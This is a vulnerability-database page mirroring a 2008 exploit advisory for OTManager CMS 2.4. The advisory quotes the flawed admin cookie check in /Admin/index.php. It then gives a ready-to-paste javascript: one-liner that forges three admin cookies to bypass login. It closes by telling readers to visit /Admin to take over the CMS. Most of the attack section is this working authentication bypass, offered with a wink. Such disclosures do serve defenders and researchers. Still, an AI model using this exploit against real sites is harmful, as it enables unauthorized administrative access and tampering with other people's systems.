Lucene search
K

OTManager CMS 2.4 Insecure Cookie Handling Vulnerability

🗓️ 27 Jun 2008 00:00:00Reported by 0day Today TeamType 
zdt
 zdt
🔗 0day.today👁 17 Views

OTManager CMS 2.4 Insecure Cookie Handling Vulnerability allows unauthorized access to admin area

Code
========================================================
OTManager CMS 2.4 Insecure Cookie Handling Vulnerability
========================================================


-------
DESCRIPTION:
OTManager CMS, suffers from insecure cookie handling, when a admin login is successfull the script creates
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
logged in as a legit admin.
---
vuln code in /Admin/index.php:

if ($_COOKIE['ADMIN_Hora'] != '' and $_COOKIE['ADMIN_Logado'] == 'SIM' and $_COOKIE['ADMIN_Nome'] != ''){
header('Location: ADM_Pagina.php'); // redirect to admin area

---
exploit:
javascript:document.cookie = "ADMIN_Hora=1; path=/"; document.cookie = "ADMIN_Logado=SIM; path=/"; document.cookie = "ADMIN_Nome=1; path=/";
-----
now visit /Admin and  you can get admin access and manage the cms ;)
-------



#  0day.today [2018-03-19]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Jun 2008 00:00Current
7.1High risk
Vulners AI Score7.1
17